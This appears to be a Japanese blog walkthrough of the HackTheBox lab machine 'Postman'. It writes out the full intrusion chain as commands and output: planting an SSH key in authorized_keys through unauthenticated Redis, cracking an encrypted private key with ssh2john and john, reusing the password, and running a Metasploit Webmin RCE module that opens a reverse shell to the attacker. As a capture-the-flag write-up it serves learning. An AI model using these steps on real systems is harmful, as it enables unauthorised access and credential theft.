[HackTheBox]Postman[Walkthrough]

## HackTheBoxってなに？どうやって始めるの？ 
こちらの記事を見てみてください。
https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84  

## セキュリティとか何も知らないけどできる？  
Forum見るとめちゃくちゃヒントが書いてあるので、
伏せ字を察しながらググりまくるとズブの素人でもできる可能性があります

## Postman

### 1. nmap
ターゲットがどんなアーキテクチャで構成されているか調べることから始まります。  

`$ nmap -sC -sV -oA Postman -p- -Pn 10.10.10.160`

```
Nmap scan report for 10.10.10.160
Host is up (0.22s latency).
Not shown: 65482 closed ports, 49 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sat Feb 22 09:57:40 2020 -- 1 IP address (1 host up) scanned in 2841.16 seconds
```

めぼしいのはRedisとWebminですね。
フルポートスキャンしないとredis出ませんでした。

ちなみに`redis-cli -h 10.10.10.160` とするとredisに接続できます。
なおRaspberryPi向けKaliにはredisが入っていなかったので`sudo apt-get install redis`でインストールしました。

### 2.searchsploit(無駄) => shell獲得成功
#### searchsploit

<details><summary>無駄な苦労(msfconsoleでredisのexploitができない話)</summary><div>


Kaliにはデフォルトでsearchsploitが入ってると思うので、これでredisのexploitが無いか探します。

`$ searchsploit redis`

```
-------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                              |  Path
                                                                                                                                            | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)                                                                               | exploits/linux/remote/47195.rb
Redis 5.0 - Denial of Service                                                                                                               | exploits/linux/dos/44908.txt
Redis-cli < 5.0 - Buffer Overflow (PoC)                                                                                                     | exploits/linux/local/44904.py
-------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
```

`Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)` 
とかいうめっちゃ使えそうなやつがあるので、これを使おうと思います。  

......(100日後) =>
なんやかんやして気づいたのですが、このexploitは使えませんでした。
当該のrubyのスクリプトにどんな脆弱性を用いるかの詳細のURLがあります。
`sudo find / -name "47195.rb"` とかしてどこにあるか探してください

https://knqyf263.hatenablog.com/entry/2019/07/16/092907
日本語だとこちらの記事が参考になると思います。

`module load hoge` のコマンドを実行したいのですが、
前述の方法でredis-cliで接続し直接このコマンドを実行すると
`(error) ERR unknown command 'module'` というエラーが出ます。 
なので、moduleを利用したexploitはできなさそうです。

なんでunknownかというと、Redisのコマンドは無効化できるからです。
https://kakakakakku.hatenablog.com/entry/2019/06/10/145855
上記の記事のようなことをして`module`を無効化されていると考えられます。

ちなみに、これはredisとして接続できてからしか確認できないのですが、たしかに無効化されています。
`$ cat /etc/redis/redis.conf | grep rename`

```
# security of read only slaves using 'rename-command' to shadow all the
rename-command MODULE ""
# environment. For instance the CONFIG command may be renamed into something
# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
# rename-command CONFIG ""
```

ということで別のアプローチを考えます
</div></details>

#### shell獲得成功
https://knqyf263.hatenablog.com/entry/2019/07/12/102929
こちらの記事を参考にしてください。

ちなみに私はこの記事でこのexploitを知ったのではなく、Forumを見たら
`Kali Linux - An Ethical Hacker's Cookbook - Second Edition` を読めとあったのでこれをみて知りました。

```
$ redis-cli -h 10.10.10.160
redis-cli > config set dir "/var/lib/redis/.ssh/"
redis-cli > config set dbfilename authorized_keys
redis-cli > save
redis-cli > exit
$ ssh-keygen -f hoge
$ (echo -e "\n\n"; cat hoge.pub ; echo -e "\n\n") | redis-cli -h 10.10.10.160 -x set hoge
$ ssh -i hoge redis@10.10.10.160
```

これでredisというユーザーでssh接続ができました！

### 3.昇格の手がかりを探す

#### Forumを参考に
forumを見ると `....bak` みたいな名前のファイルがあるっぽいことがわかるので
それをもとに以下を実行すると
`$find / -iname "*.bak" 2>/dev/null`

```
/opt/id_rsa.bak
...
```

`/opt/id_rsa.bak` といういかにも怪しいファイルをゲットできます。

<details><summary>**普通の手段**</summary><div>

https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh   
手かがり探すためのEnum(列挙)スクリプトで、
これをコピペして実行すると、以下の出力が得られます  

```
...
[+] Looking for ssl/ssh files
/opt/id_rsa.bak
/var/lib/redis/.ssh/authorized_keys
Port 22
...
```
</div></details>
### 4.パスワード付き秘密鍵をhackする
`/opt/id_rsa.bak` をダウンロードしてきて一応適当にリネームします `enc_id_rsa`

```
$ /usr/share/john/ssh2john.py enc_id_rsa > enc_id_rsa.hashes
$ john enc_id_rsa.hashes --wordlist=/path/to/rockyou.txt
```
`ssh2john.py` のディレクトリは違うかもしれません。もし入ってなかったらぐぐると出てきます。
`rockyou.txt` がなかったら適当にググってダウンロードしてください。  

```
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
XXXXXXXXXXXXX     (enc_id_rsa)
```

`XXXXXXXXXXXXX` というpasswordが得られます(一応伏せました)

```
$ ssh 10.10.10.160 -l Matt -i enc_id_rsa
=> だめ
$ ssh 10.10.10.160 -l Matt
=> だめ

$ ssh 10.10.10.160 -l redis -i hoge
$ su Matt
=> `XXXXXXXXXXXXX` を入れる
Matt@Postman:/var/lib/redis$ whoami
Matt
Matt@Postman:/var/lib/redis$ cat ~/user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```

Userはパスワードを使いまわしてるよみたいな話がForumにあったので、`su`でMattにloginしました。
なお、同pass/userでWebminにもloginできます。
user/passがあるとWebminのexploitが実行できるのでそれをやったらrootが獲得できます。

### 5.Userの情報をGetしたのでこれをもとにWebminのexploitを実行する
vpn内での自分のIPを確認する必要があります

```
$ ifconfig | grep -1 tun0 | grep inet
inet 10.10.XX.XX  netmask 255.255.254.0  destination 10.10.XX.XX
```

`$ sudo msfconsole`

適当にsearchして出てきたやつを実行します(実際はForumを見るとなんとなく何やればいいかわかってしまいます)  
optionなにか知りたいときは`options`ってやると見られます。

```
msf5 > search webmin
msf5 > use exploit/linux/http/webmin_packageup_rce  
msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 10.10.10.160  
msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt  
msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD XXXXXXXXXXXXX  
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.XX.XX  
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true  
msf5 exploit(linux/http/webmin_packageup_rce) > run  

[*] Started reverse TCP handler on 10.10.XX.XX:4444
[+] Session cookie: ...
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (...
cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```

おわり。

### 感想
redisのmoduleを利用したexploitが動かないということに気づくのに丸一日以上を費やしました。
msfconsoleを雰囲気でやっていると、何がだめなのか全くわからなくてかなり困りました。
結局しっかり動作原理を調べて、コマンドを実行してみることで、exploitが使えないということが予想でき、
最終的にそれを確かめることができたことが収穫です。

基本的にはForumを漁るとドでかいヒントがあるのでそれを手がかりになんとかHackもどきができてとてもおもしろいです。
いつかはForum漁らずにできるようになりたいですね。